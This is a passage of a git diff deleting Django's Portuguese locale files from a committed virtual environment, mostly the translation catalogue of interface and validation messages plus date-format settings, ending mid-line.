a/backend/venv/Lib/site-packages/django/conf/locale/pt/LC_MESSAGES/django.po +++ /dev/null @@ -1,1330 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Raúl Pedro Fernandes Santos, 2014 -# Bruno Miguel Custódio , 2012 -# Claudio Fernandes , 2015 -# Jannis Leidel , 2011 -# José Durães , 2014 -# jorgecarleitao , 2014-2015 -# Manuela Silva , 2025 -# Nuno Mariz , 2011-2013,2015-2018 -# 12574c6d66324e145c1d19e02acecb73_84badd8 <4e8d94859927eab3b50486d21249c068_5346>, 2011 -# Raúl Pedro Fernandes Santos, 2014 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2025-03-19 11:30-0500\n" -"PO-Revision-Date: 2025-04-01 15:04-0500\n" -"Last-Translator: Manuela Silva , 2025\n" -"Language-Team: Portuguese (http://app.transifex.com/django/django/language/" -"pt/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: pt\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -msgid "Afrikaans" -msgstr "Africâner" - -msgid "Arabic" -msgstr "Árabe" - -msgid "Algerian Arabic" -msgstr "Árabe Argelino" - -msgid "Asturian" -msgstr "Asturiano" - -msgid "Azerbaijani" -msgstr "Azerbaijano" - -msgid "Bulgarian" -msgstr "Búlgaro" - -msgid "Belarusian" -msgstr "Bielorusso" - -msgid "Bengali" -msgstr "Bengalês" - -msgid "Breton" -msgstr "Bretão" - -msgid "Bosnian" -msgstr "Bósnio" - -msgid "Catalan" -msgstr "Catalão" - -msgid "Central Kurdish (Sorani)" -msgstr "Curdo Central (Sorani)" - -msgid "Czech" -msgstr "Checo" - -msgid "Welsh" -msgstr "Galês" - -msgid "Danish" -msgstr "Dinamarquês" - -msgid "German" -msgstr "Alemão" - -msgid "Lower Sorbian" -msgstr "Sorbedo inferior" - -msgid "Greek" -msgstr "Grego" - -msgid "English" -msgstr "Inglês" - -msgid "Australian English" -msgstr "Inglês da Austrália" - -msgid "British English" -msgstr "Inglês Britânico" - -msgid "Esperanto" -msgstr "Esperanto" - -msgid "Spanish" -msgstr "Espanhol" - -msgid "Argentinian Spanish" -msgstr "Espanhol Argentino" - -msgid "Colombian Spanish" -msgstr "Espanhol Colombiano" - -msgid "Mexican Spanish" -msgstr "Espanhol mexicano" - -msgid "Nicaraguan Spanish" -msgstr "Nicarágua Espanhol" - -msgid "Venezuelan Spanish" -msgstr "Espanhol Venezuelano" - -msgid "Estonian" -msgstr "Estónio" - -msgid "Basque" -msgstr "Basco" - -msgid "Persian" -msgstr "Persa" - -msgid "Finnish" -msgstr "Filandês" - -msgid "French" -msgstr "Francês" - -msgid "Frisian" -msgstr "Frisão" - -msgid "Irish" -msgstr "Irlandês" - -msgid "Scottish Gaelic" -msgstr "Escocês Gaélico" - -msgid "Galician" -msgstr "Galaciano" - -msgid "Hebrew" -msgstr "Hebraico" - -msgid "Hindi" -msgstr "Hindi" - -msgid "Croatian" -msgstr "Croata" - -msgid "Upper Sorbian" -msgstr "Sorbedo superior" - -msgid "Hungarian" -msgstr "Húngaro" - -msgid "Armenian" -msgstr "Arménio" - -msgid "Interlingua" -msgstr "Interlíngua" - -msgid "Indonesian" -msgstr "Indonésio" - -msgid "Igbo" -msgstr "Igbo" - -msgid "Ido" -msgstr "Ido" - -msgid "Icelandic" -msgstr "Islandês" - -msgid "Italian" -msgstr "Italiano" - -msgid "Japanese" -msgstr "Japonês" - -msgid "Georgian" -msgstr "Georgiano" - -msgid "Kabyle" -msgstr "Kabyle" - -msgid "Kazakh" -msgstr "Cazaque" - -msgid "Khmer" -msgstr "Khmer" - -msgid "Kannada" -msgstr "Canarês" - -msgid "Korean" -msgstr "Coreano" - -msgid "Kyrgyz" -msgstr "" - -msgid "Luxembourgish" -msgstr "Luxemburguês" - -msgid "Lithuanian" -msgstr "Lituano" - -msgid "Latvian" -msgstr "Letão" - -msgid "Macedonian" -msgstr "Macedónio" - -msgid "Malayalam" -msgstr "Malaiala" - -msgid "Mongolian" -msgstr "Mongol" - -msgid "Marathi" -msgstr "Marathi" - -msgid "Malay" -msgstr "" - -msgid "Burmese" -msgstr "Birmanês" - -msgid "Norwegian Bokmål" -msgstr "Norueguês Bokmål" - -msgid "Nepali" -msgstr "Nepali" - -msgid "Dutch" -msgstr "Holandês" - -msgid "Norwegian Nynorsk" -msgstr "Norueguês (Nynors)" - -msgid "Ossetic" -msgstr "Ossetic" - -msgid "Punjabi" -msgstr "Panjabi" - -msgid "Polish" -msgstr "Polaco" - -msgid "Portuguese" -msgstr "Português" - -msgid "Brazilian Portuguese" -msgstr "Português Brasileiro" - -msgid "Romanian" -msgstr "Romeno" - -msgid "Russian" -msgstr "Russo" - -msgid "Slovak" -msgstr "Eslovaco" - -msgid "Slovenian" -msgstr "Esloveno" - -msgid "Albanian" -msgstr "Albanês" - -msgid "Serbian" -msgstr "Sérvio" - -msgid "Serbian Latin" -msgstr "Sérvio Latim" - -msgid "Swedish" -msgstr "Sueco" - -msgid "Swahili" -msgstr "Suaíli" - -msgid "Tamil" -msgstr "Tamil" - -msgid "Telugu" -msgstr "Telugu" - -msgid "Tajik" -msgstr "Tajique" - -msgid "Thai" -msgstr "Thai" - -msgid "Turkmen" -msgstr "" - -msgid "Turkish" -msgstr "Turco" - -msgid "Tatar" -msgstr "Tatar" - -msgid "Udmurt" -msgstr "Udmurte" - -msgid "Uyghur" -msgstr "" - -msgid "Ukrainian" -msgstr "Ucraniano" - -msgid "Urdu" -msgstr "Urdu" - -msgid "Uzbek" -msgstr "" - -msgid "Vietnamese" -msgstr "Vietnamita" - -msgid "Simplified Chinese" -msgstr "Chinês Simplificado" - -msgid "Traditional Chinese" -msgstr "Chinês Tradicional" - -msgid "Messages" -msgstr "Mensagens" - -msgid "Site Maps" -msgstr "Mapas do Site" - -msgid "Static Files" -msgstr "Ficheiros Estáticos" - -msgid "Syndication" -msgstr "Syndication" - -#. Translators: String used to replace omitted page numbers in elided page -#. range generated by paginators, e.g. [1, 2, '…', 5, 6, 7, '…', 9, 10]. -msgid "…" -msgstr "…" - -msgid "That page number is not an integer" -msgstr "Esse número de página não é um número inteiro" - -msgid "That page number is less than 1" -msgstr "Esse número de página é inferior a 1" - -msgid "That page contains no results" -msgstr "Essa página não contém resultados" - -msgid "Enter a valid value." -msgstr "Introduza um valor válido." - -msgid "Enter a valid domain name." -msgstr "Insira um nome de domínio válido." - -msgid "Enter a valid URL." -msgstr "Introduza um URL válido." - -msgid "Enter a valid integer." -msgstr "Introduza um número inteiro válido." - -msgid "Enter a valid email address." -msgstr "Introduza um endereço de e-mail válido." - -#. Translators: "letters" means latin letters: a-z and A-Z. -msgid "" -"Enter a valid “slug” consisting of letters, numbers, underscores or hyphens." -msgstr "" - -msgid "" -"Enter a valid “slug” consisting of Unicode letters, numbers, underscores, or " -"hyphens." -msgstr "" - -#, python-format -msgid "Enter a valid %(protocol)s address." -msgstr "Insira um endereço %(protocol)s válido." - -msgid "IPv4" -msgstr "IPv4" - -msgid "IPv6" -msgstr "IPv6" - -msgid "IPv4 or IPv6" -msgstr "IPv4 ou IPv6" - -msgid "Enter only digits separated by commas." -msgstr "Introduza apenas números separados por vírgulas." - -#, python-format -msgid "Ensure this value is %(limit_value)s (it is %(show_value)s)." -msgstr "Garanta que este valor seja %(limit_value)s (tem %(show_value)s)." - -#, python-format -msgid "Ensure this value is less than or equal to %(limit_value)s." -msgstr "Garanta que este valor seja menor ou igual a %(limit_value)s." - -#, python-format -msgid "Ensure this value is greater than or equal to %(limit_value)s." -msgstr "Garanta que este valor seja maior ou igual a %(limit_value)s." - -#, python-format -msgid "Ensure this value is a multiple of step size %(limit_value)s." -msgstr "" - -#, python-format -msgid "" -"Ensure this value is a multiple of step size %(limit_value)s, starting from " -"%(offset)s, e.g. %(offset)s, %(valid_value1)s, %(valid_value2)s, and so on." -msgstr "" - -#, python-format -msgid "" -"Ensure this value has at least %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at least %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"Garanta que este valor tenha pelo menos %(limit_value)d caractere (tem " -"%(show_value)d)." -msgstr[1] "" -"Garanta que este valor tenha pelo menos %(limit_value)d caracteres (tem " -"%(show_value)d)." -msgstr[2] "" -"Garanta que este valor tenha pelo menos %(limit_value)d caracteres (tem " -"%(show_value)d)." - -#, python-format -msgid "" -"Ensure this value has at most %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at most %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"Garanta que este valor tenha no máximo %(limit_value)d caractere (tem " -"%(show_value)d)." -msgstr[1] "" -"Garanta que este valor tenha no máximo %(limit_value)d caracteres (tem " -"%(show_value)d)." -msgstr[2] "" -"Garanta que este valor tenha no máximo %(limit_value)d caracteres (tem " -"%(show_value)d)." - -msgid "Enter a number." -msgstr "Introduza um número." - -#, python-format -msgid "Ensure that there are no more than %(max)s digit in total." -msgid_plural "Ensure that there are no more than %(max)s digits in total." -msgstr[0] "Garanta que não tem mais de %(max)s dígito no total." -msgstr[1] "Garanta que não tem mais de %(max)s dígitos no total." -msgstr[2] "Garanta que não tem mais de %(max)s dígitos no total." - -#, python-format -msgid "Ensure that there are no more than %(max)s decimal place." -msgid_plural "Ensure that there are no more than %(max)s decimal places." -msgstr[0] "Garanta que não tem mais %(max)s casa decimal." -msgstr[1] "Garanta que não tem mais %(max)s casas decimais." -msgstr[2] "Garanta que não tem mais %(max)s casas decimais." - -#, python-format -msgid "" -"Ensure that there are no more than %(max)s digit before the decimal point." -msgid_plural "" -"Ensure that there are no more than %(max)s digits before the decimal point." -msgstr[0] "Garanta que não tem mais de %(max)s dígito antes do ponto decimal." -msgstr[1] "Garanta que não tem mais de %(max)s dígitos antes do ponto decimal." -msgstr[2] "Garanta que não tem mais de %(max)s dígitos antes do ponto decimal." - -#, python-format -msgid "" -"File extension “%(extension)s” is not allowed. Allowed extensions are: " -"%(allowed_extensions)s." -msgstr "" - -msgid "Null characters are not allowed." -msgstr "Não são permitidos caracteres nulos." - -msgid "and" -msgstr "e" - -#, python-format -msgid "%(model_name)s with this %(field_labels)s already exists." -msgstr "%(model_name)s com este %(field_labels)s já existe." - -#, python-format -msgid "Constraint “%(name)s” is violated." -msgstr "" - -#, python-format -msgid "Value %(value)r is not a valid choice." -msgstr "O valor %(value)r não é uma escolha válida." - -msgid "This field cannot be null." -msgstr "Este campo não pode ser nulo." - -msgid "This field cannot be blank." -msgstr "Este campo não pode ser vazio." - -#, python-format -msgid "%(model_name)s with this %(field_label)s already exists." -msgstr "%(model_name)s com este %(field_label)s já existe." - -#. Translators: The 'lookup_type' is one of 'date', 'year' or -#. 'month'. Eg: "Title must be unique for pub_date year" -#, python-format -msgid "" -"%(field_label)s must be unique for %(date_field_label)s %(lookup_type)s." -msgstr "" -"%(field_label)s tem de ser único para %(date_field_label)s %(lookup_type)s." - -#, python-format -msgid "Field of type: %(field_type)s" -msgstr "Campo do tipo: %(field_type)s" - -#, python-format -msgid "“%(value)s” value must be either True or False." -msgstr "" - -#, python-format -msgid "“%(value)s” value must be either True, False, or None." -msgstr "" - -msgid "Boolean (Either True or False)" -msgstr "Boolean (Pode ser True ou False)" - -#, python-format -msgid "String (up to %(max_length)s)" -msgstr "String (até %(max_length)s)" - -msgid "String (unlimited)" -msgstr "" - -msgid "Comma-separated integers" -msgstr "Inteiros separados por virgula" - -#, python-format -msgid "" -"“%(value)s” value has an invalid date format. It must be in YYYY-MM-DD " -"format." -msgstr "" - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD) but it is an invalid " -"date." -msgstr "" - -msgid "Date (without time)" -msgstr "Data (sem hora)" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in YYYY-MM-DD HH:MM[:ss[." -"uuuuuu]][TZ] format." -msgstr "" - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD HH:MM[:ss[.uuuuuu]]" -"[TZ]) but it is an invalid date/time." -msgstr "" - -msgid "Date (with time)" -msgstr "Data (com hora)" - -#, python-format -msgid "“%(value)s” value must be a decimal number." -msgstr "" - -msgid "Decimal number" -msgstr "Número décimal" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in [DD] [[HH:]MM:]ss[." -"uuuuuu] format." -msgstr "" - -msgid "Duration" -msgstr "Duração" - -msgid "Email address" -msgstr "Endereço de e-mail" - -msgid "File path" -msgstr "Caminho do ficheiro" - -#, python-format -msgid "“%(value)s” value must be a float." -msgstr "" - -msgid "Floating point number" -msgstr "Número em vírgula flutuante" - -#, python-format -msgid "“%(value)s” value must be an integer." -msgstr "" - -msgid "Integer" -msgstr "Inteiro" - -msgid "Big (8 byte) integer" -msgstr "Inteiro grande (8 byte)" - -msgid "Small integer" -msgstr "Inteiro pequeno" - -msgid "IPv4 address" -msgstr "Endereço IPv4" - -msgid "IP address" -msgstr "Endereço IP" - -#, python-format -msgid "“%(value)s” value must be either None, True or False." -msgstr "" - -msgid "Boolean (Either True, False or None)" -msgstr "Boolean (Pode ser True, False ou None)" - -msgid "Positive big integer" -msgstr "" - -msgid "Positive integer" -msgstr "Inteiro positivo" - -msgid "Positive small integer" -msgstr "Pequeno número inteiro positivo" - -#, python-format -msgid "Slug (up to %(max_length)s)" -msgstr "Slug (até %(max_length)s)" - -msgid "Text" -msgstr "Texto" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in HH:MM[:ss[.uuuuuu]] " -"format." -msgstr "" - -#, python-format -msgid "" -"“%(value)s” value has the correct format (HH:MM[:ss[.uuuuuu]]) but it is an " -"invalid time." -msgstr "" - -msgid "Time" -msgstr "Hora" - -msgid "URL" -msgstr "URL" - -msgid "Raw binary data" -msgstr "Dados binários simples" - -#, python-format -msgid "“%(value)s” is not a valid UUID." -msgstr "" - -msgid "Universally unique identifier" -msgstr "Identificador único universal" - -msgid "File" -msgstr "Ficheiro" - -msgid "Image" -msgstr "Imagem" - -msgid "A JSON object" -msgstr "Um objeto JSON" - -msgid "Value must be valid JSON." -msgstr "O valor deve ser JSON válido." - -#, python-format -msgid "%(model)s instance with %(field)s %(value)r is not a valid choice." -msgstr "" - -msgid "Foreign Key (type determined by related field)" -msgstr "Chave Estrangeira (tipo determinado pelo campo relacionado)" - -msgid "One-to-one relationship" -msgstr "Relação de um-para-um" - -#, python-format -msgid "%(from)s-%(to)s relationship" -msgstr "Relação de %(from)s-%(to)s" - -#, python-format -msgid "%(from)s-%(to)s relationships" -msgstr "Relações de %(from)s-%(to)s" - -msgid "Many-to-many relationship" -msgstr "Relação de muitos-para-muitos" - -#. Translators: If found as last label character, these punctuation -#. characters will prevent the default label_suffix to be appended to the -#. label -msgid ":?.!" -msgstr ":?.!" - -msgid "This field is required." -msgstr "Este campo é obrigatório." - -msgid "Enter a whole number." -msgstr "Introduza um número inteiro." - -msgid "Enter a valid date." -msgstr "Introduza uma data válida." - -msgid "Enter a valid time." -msgstr "Introduza uma hora válida." - -msgid "Enter a valid date/time." -msgstr "Introduza uma data/hora válida." - -msgid "Enter a valid duration." -msgstr "Introduza uma duração válida." - -#, python-brace-format -msgid "The number of days must be between {min_days} and {max_days}." -msgstr "O número de dias deve ser entre {min_days} e {max_days}." - -msgid "No file was submitted. Check the encoding type on the form." -msgstr "" -"Nenhum ficheiro foi submetido. Verifique o tipo de codificação do formulário." - -msgid "No file was submitted." -msgstr "Nenhum ficheiro submetido." - -msgid "The submitted file is empty." -msgstr "O ficheiro submetido encontra-se vazio." - -#, python-format -msgid "Ensure this filename has at most %(max)d character (it has %(length)d)." -msgid_plural "" -"Ensure this filename has at most %(max)d characters (it has %(length)d)." -msgstr[0] "" -"Garanta que o nome deste ficheiro tenha no máximo %(max)d caractere (tem " -"%(length)d)." -msgstr[1] "" -"Garanta que o nome deste ficheiro tenha no máximo %(max)d caracteres (tem " -"%(length)d)." -msgstr[2] "" -"Garanta que o nome deste ficheiro tenha no máximo %(max)d caracteres (tem " -"%(length)d)." - -msgid "Please either submit a file or check the clear checkbox, not both." -msgstr "" -"Por favor, submeta um ficheiro ou remova a seleção da caixa, não ambos." - -msgid "" -"Upload a valid image. The file you uploaded was either not an image or a " -"corrupted image." -msgstr "" -"Introduza uma imagem válida. O ficheiro que introduziu ou não é uma imagem " -"ou está corrompido." - -#, python-format -msgid "Select a valid choice. %(value)s is not one of the available choices." -msgstr "" -"Selecione uma opção válida. %(value)s não se encontra nas opções disponíveis." - -msgid "Enter a list of values." -msgstr "Introduza uma lista de valores." - -msgid "Enter a complete value." -msgstr "Introduza um valor completo." - -msgid "Enter a valid UUID." -msgstr "Introduza um UUID válido." - -msgid "Enter a valid JSON." -msgstr "Insira um JSON válido." - -#. Translators: This is the default suffix added to form field labels -msgid ":" -msgstr ":" - -#, python-format -msgid "(Hidden field %(name)s) %(error)s" -msgstr "(Campo oculto %(name)s) %(error)s" - -#, python-format -msgid "" -"ManagementForm data is missing or has been tampered with. Missing fields: " -"%(field_names)s. You may need to file a bug report if the issue persists." -msgstr "" - -#, python-format -msgid "Please submit at most %(num)d form." -msgid_plural "Please submit at most %(num)d forms." -msgstr[0] "" -msgstr[1] "" -msgstr[2] "" - -#, python-format -msgid "Please submit at least %(num)d form." -msgid_plural "Please submit at least %(num)d forms." -msgstr[0] "" -msgstr[1] "" -msgstr[2] "" - -msgid "Order" -msgstr "Ordem" - -msgid "Delete" -msgstr "Remover" - -#, python-format -msgid "Please correct the duplicate data for %(field)s." -msgstr "Por favor corrija os dados duplicados em %(field)s." - -#, python-format -msgid "Please correct the duplicate data for %(field)s, which must be unique." -msgstr "" -"Por favor corrija os dados duplicados em %(field)s, que deverá ser único." - -#, python-format -msgid "" -"Please correct the duplicate data for %(field_name)s which must be unique " -"for the %(lookup)s in %(date_field)s." -msgstr "" -"Por favor corrija os dados duplicados em %(field_name)s que deverá ser único " -"para o %(lookup)s em %(date_field)s.\"" - -msgid "Please correct the duplicate values below." -msgstr "Por favor corrija os valores duplicados abaixo." - -msgid "The inline value did not match the parent instance." -msgstr "O valor em linha não corresponde à instância pai." - -msgid "Select a valid choice. That choice is not one of the available choices." -msgstr "" -"Selecione uma opção válida. Esse valor não se encontra opções disponíveis." - -#, python-format -msgid "“%(pk)s” is not a valid value." -msgstr "" - -#, python-format -msgid "" -"%(datetime)s couldn’t be interpreted in time zone %(current_timezone)s; it " -"may be ambiguous or it may not exist." -msgstr "" - -msgid "Clear" -msgstr "Limpar" - -msgid "Currently" -msgstr "Atualmente" - -msgid "Change" -msgstr "Modificar" - -msgid "Unknown" -msgstr "Desconhecido" - -msgid "Yes" -msgstr "Sim" - -msgid "No" -msgstr "Não" - -#. Translators: Please do not add spaces around commas. -msgid "yes,no,maybe" -msgstr "sim,não,talvez" - -#, python-format -msgid "%(size)d byte" -msgid_plural "%(size)d bytes" -msgstr[0] "%(size)d byte" -msgstr[1] "%(size)d bytes" -msgstr[2] "%(size)d bytes" - -#, python-format -msgid "%s KB" -msgstr "%s KB" - -#, python-format -msgid "%s MB" -msgstr "%s MB" - -#, python-format -msgid "%s GB" -msgstr "%s GB" - -#, python-format -msgid "%s TB" -msgstr "%s TB" - -#, python-format -msgid "%s PB" -msgstr "%s PB" - -msgid "p.m." -msgstr "p.m." - -msgid "a.m." -msgstr "a.m." - -msgid "PM" -msgstr "PM" - -msgid "AM" -msgstr "AM" - -msgid "midnight" -msgstr "meia-noite" - -msgid "noon" -msgstr "meio-dia" - -msgid "Monday" -msgstr "Segunda-feira" - -msgid "Tuesday" -msgstr "Terça-feira" - -msgid "Wednesday" -msgstr "Quarta-feira" - -msgid "Thursday" -msgstr "Quinta-feira" - -msgid "Friday" -msgstr "Sexta-feira" - -msgid "Saturday" -msgstr "Sábado" - -msgid "Sunday" -msgstr "Domingo" - -msgid "Mon" -msgstr "Seg" - -msgid "Tue" -msgstr "Ter" - -msgid "Wed" -msgstr "Qua" - -msgid "Thu" -msgstr "Qui" - -msgid "Fri" -msgstr "Sex" - -msgid "Sat" -msgstr "Sáb" - -msgid "Sun" -msgstr "Dom" - -msgid "January" -msgstr "Janeiro" - -msgid "February" -msgstr "Fevereiro" - -msgid "March" -msgstr "Março" - -msgid "April" -msgstr "Abril" - -msgid "May" -msgstr "Maio" - -msgid "June" -msgstr "Junho" - -msgid "July" -msgstr "Julho" - -msgid "August" -msgstr "Agosto" - -msgid "September" -msgstr "Setembro" - -msgid "October" -msgstr "Outubro" - -msgid "November" -msgstr "Novembro" - -msgid "December" -msgstr "Dezembro" - -msgid "jan" -msgstr "jan" - -msgid "feb" -msgstr "fev" - -msgid "mar" -msgstr "mar" - -msgid "apr" -msgstr "abr" - -msgid "may" -msgstr "mai" - -msgid "jun" -msgstr "jun" - -msgid "jul" -msgstr "jul" - -msgid "aug" -msgstr "ago" - -msgid "sep" -msgstr "set" - -msgid "oct" -msgstr "out" - -msgid "nov" -msgstr "nov" - -msgid "dec" -msgstr "dez" - -msgctxt "abbrev. month" -msgid "Jan." -msgstr "Jan." - -msgctxt "abbrev. month" -msgid "Feb." -msgstr "Fev." - -msgctxt "abbrev. month" -msgid "March" -msgstr "Março" - -msgctxt "abbrev. month" -msgid "April" -msgstr "Abril" - -msgctxt "abbrev. month" -msgid "May" -msgstr "Maio" - -msgctxt "abbrev. month" -msgid "June" -msgstr "Jun." - -msgctxt "abbrev. month" -msgid "July" -msgstr "Jul." - -msgctxt "abbrev. month" -msgid "Aug." -msgstr "Ago." - -msgctxt "abbrev. month" -msgid "Sept." -msgstr "Set." - -msgctxt "abbrev. month" -msgid "Oct." -msgstr "Out." - -msgctxt "abbrev. month" -msgid "Nov." -msgstr "Nov." - -msgctxt "abbrev. month" -msgid "Dec." -msgstr "Dez." - -msgctxt "alt. month" -msgid "January" -msgstr "Janeiro" - -msgctxt "alt. month" -msgid "February" -msgstr "Fevereiro" - -msgctxt "alt. month" -msgid "March" -msgstr "Março" - -msgctxt "alt. month" -msgid "April" -msgstr "Abril" - -msgctxt "alt. month" -msgid "May" -msgstr "Maio" - -msgctxt "alt. month" -msgid "June" -msgstr "Junho" - -msgctxt "alt. month" -msgid "July" -msgstr "Julho" - -msgctxt "alt. month" -msgid "August" -msgstr "Agosto" - -msgctxt "alt. month" -msgid "September" -msgstr "Setembro" - -msgctxt "alt. month" -msgid "October" -msgstr "Outubro" - -msgctxt "alt. month" -msgid "November" -msgstr "Novembro" - -msgctxt "alt. month" -msgid "December" -msgstr "Dezembro" - -msgid "This is not a valid IPv6 address." -msgstr "Este não é um endereço IPv6 válido." - -#, python-format -msgctxt "String to return when truncating text" -msgid "%(truncated_text)s…" -msgstr "%(truncated_text)s…" - -msgid "or" -msgstr "ou" - -#. Translators: This string is used as a separator between list elements -msgid ", " -msgstr ", " - -#, python-format -msgid "%(num)d year" -msgid_plural "%(num)d years" -msgstr[0] "%(num)d ano" -msgstr[1] "%(num)d anos" -msgstr[2] "%(num)d anos" - -#, python-format -msgid "%(num)d month" -msgid_plural "%(num)d months" -msgstr[0] "%(num)d mês" -msgstr[1] "%(num)d meses" -msgstr[2] "%(num)d meses" - -#, python-format -msgid "%(num)d week" -msgid_plural "%(num)d weeks" -msgstr[0] "%(num)d semana" -msgstr[1] "%(num)d semanas" -msgstr[2] "%(num)d semanas" - -#, python-format -msgid "%(num)d day" -msgid_plural "%(num)d days" -msgstr[0] "%(num)d dia" -msgstr[1] "%(num)d dias" -msgstr[2] "%(num)d dias" - -#, python-format -msgid "%(num)d hour" -msgid_plural "%(num)d hours" -msgstr[0] "%(num)d hora" -msgstr[1] "%(num)d horas" -msgstr[2] "%(num)d horas" - -#, python-format -msgid "%(num)d minute" -msgid_plural "%(num)d minutes" -msgstr[0] "%(num)d minuto" -msgstr[1] "%(num)d minutos" -msgstr[2] "%(num)d minutos" - -msgid "Forbidden" -msgstr "Proibido" - -msgid "CSRF verification failed. Request aborted." -msgstr "A verificação de CSRF falhou. Pedido abortado." - -msgid "" -"You are seeing this message because this HTTPS site requires a “Referer " -"header” to be sent by your web browser, but none was sent. This header is " -"required for security reasons, to ensure that your browser is not being " -"hijacked by third parties." -msgstr "" - -msgid "" -"If you have configured your browser to disable “Referer” headers, please re-" -"enable them, at least for this site, or for HTTPS connections, or for “same-" -"origin” requests." -msgstr "" - -msgid "" -"If you are using the tag or " -"including the “Referrer-Policy: no-referrer” header, please remove them. The " -"CSRF protection requires the “Referer” header to do strict referer checking. " -"If you’re concerned about privacy, use alternatives like for links to third-party sites." -msgstr "" - -msgid "" -"You are seeing this message because this site requires a CSRF cookie when " -"submitting forms. This cookie is required for security reasons, to ensure " -"that your browser is not being hijacked by third parties." -msgstr "" -"Está a ver esta mensagem porque este site requer um cookie CSRF quando " -"submete formulários. Este cookie é requirido por razões de segurança, para " -"garantir que o seu browser não está a ser \"raptado\" por terceiros." - -msgid "" -"If you have configured your browser to disable cookies, please re-enable " -"them, at least for this site, or for “same-origin” requests." -msgstr "" - -msgid "More information is available with DEBUG=True." -msgstr "Está disponível mais informação com DEBUG=True." - -msgid "No year specified" -msgstr "Nenhum ano especificado" - -msgid "Date out of range" -msgstr "Data fora do alcance" - -msgid "No month specified" -msgstr "Nenhum mês especificado" - -msgid "No day specified" -msgstr "Nenhum dia especificado" - -msgid "No week specified" -msgstr "Nenhuma semana especificado" - -#, python-format -msgid "No %(verbose_name_plural)s available" -msgstr "Nenhum %(verbose_name_plural)s disponível" - -#, python-format -msgid "" -"Future %(verbose_name_plural)s not available because %(class_name)s." -"allow_future is False." -msgstr "" -"%(verbose_name_plural)s futuros indisponíveis porque %(class_name)s." -"allow_future é False." - -#, python-format -msgid "Invalid date string “%(datestr)s” given format “%(format)s”" -msgstr "" - -#, python-format -msgid "No %(verbose_name)s found matching the query" -msgstr "Nenhum %(verbose_name)s de acordo com a procura." - -msgid "Page is not “last”, nor can it be converted to an int." -msgstr "" - -#, python-format -msgid "Invalid page (%(page_number)s): %(message)s" -msgstr "Página inválida (%(page_number)s): %(message)s" - -#, python-format -msgid "Empty list and “%(class_name)s.allow_empty” is False." -msgstr "" - -msgid "Directory indexes are not allowed here." -msgstr "Índices de diretório não são permitidas aqui." - -#, python-format -msgid "“%(path)s” does not exist" -msgstr "\"%(path)s\" não existe" - -#, python-format -msgid "Index of %(directory)s" -msgstr "Índice de %(directory)s" - -msgid "The install worked successfully! Congratulations!" -msgstr "A instalação funcionou com sucesso! Parabéns!" - -#, python-format -msgid "" -"View release notes for Django %(version)s" -msgstr "" -"Visualizar notas de lançamento do Django " -"%(version)s" - -#, python-format -msgid "" -"You are seeing this page because DEBUG=True is in your settings file and you have not " -"configured any URLs." -msgstr "" -"Está a visualizar esta página porque tem DEBUG=True no seu ficheiro settings do Django e não " -"configurou nenhum URLs." - -msgid "Django Documentation" -msgstr "Documentação do Django" - -msgid "Topics, references, & how-to’s" -msgstr "Tópicos, referências, e como..." - -msgid "Tutorial: A Polling App" -msgstr "Tutorial: A Polling App" - -msgid "Get started with Django" -msgstr "Comece com o Django" - -msgid "Django Community" -msgstr "Comunidade Django" - -msgid "Connect, get help, or contribute" -msgstr "Conecte-se, obtenha ajuda ou contribua" diff --git a/backend/venv/Lib/site-packages/django/conf/locale/pt/__init__.py b/backend/venv/Lib/site-packages/django/conf/locale/pt/__init__.py deleted file mode 100644 index e69de29b..00000000 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/pt/__pycache__/__init__.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/pt/__pycache__/__init__.cpython-311.pyc deleted file mode 100644 index fe3d8632..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/pt/__pycache__/__init__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/pt/__pycache__/formats.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/pt/__pycache__/formats.cpython-311.pyc deleted file mode 100644 index 267715f4..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/pt/__pycache__/formats.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/pt/formats.py b/backend/venv/Lib/site-packages/django/conf/locale/pt/formats.py deleted file mode 100644 index bb4b3f50..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/pt/formats.py +++ /dev/null @@ -1,39 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# The *_FORMAT strings use the Django date format syntax, -# see https://docs.djangoproject.com/en/dev/ref/templates/builtins/#date -DATE_FORMAT = r"j \d\e F \d\e Y" -TIME_FORMAT = "H:i" -DATETIME_FORMAT = r"j \d\e F \d\e Y à\s H:i" -YEAR_MONTH_FORMAT = r"F \d\e Y" -MONTH_DAY_FORMAT = r"j \d\e F" -SHORT_DATE_FORMAT = "d/m/Y" -SHORT_DATETIME_FORMAT = "d/m/Y H:i" -FIRST_DAY_OF_WEEK = 0 # Sunday - -# The *_INPUT_FORMATS strings use the Python strftime format syntax, -# see https://docs.python.org/library/datetime.html#strftime-strptime-behavior -# Kept ISO formats as they are in first position -DATE_INPUT_FORMATS = [ - "%Y-%m-%d", # '2006-10-25' - "%d/%m/%Y", # '25/10/2006' - "%d/%m/%y", # '25/10/06' - # "%d de %b de %Y", # '25 de Out de 2006' - # "%d de %b, %Y", # '25 Out, 2006' - # "%d de %B de %Y", # '25 de Outubro de 2006' - # "%d de %B, %Y", # '25 de Outubro, 2006' -] -DATETIME_INPUT_FORMATS = [ - "%Y-%m-%d %H:%M:%S", # '2006-10-25 14:30:59' - "%Y-%m-%d 